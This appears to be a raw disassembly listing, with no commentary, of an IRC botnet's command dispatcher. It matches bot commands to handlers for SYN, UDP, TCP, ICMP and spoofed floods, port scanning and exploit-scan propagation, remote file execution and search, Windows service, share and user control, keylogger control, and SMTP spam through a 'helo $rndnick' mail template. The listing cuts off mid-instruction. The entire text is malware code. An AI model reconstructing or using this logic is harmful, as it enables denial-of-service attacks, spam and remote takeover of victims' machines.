dword_411CF4 push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 2690579h nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call near ptr 2690CE2h nop push eax push offset dword_42AE9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE60 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE34 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE14 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADCC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADAC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD84 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD1C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 2690579h jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j call near ptr 2690CE2h nop push eax push offset unk_42AB8C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2690579h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 2690CE2h push eax push offset dword_42AB08 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA2C ; " " push offset dword_42B4FC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 2690579h jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2690CE2h push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h call near ptr 2690579h nop jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j call near ptr 2690CE2h nop push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h call near 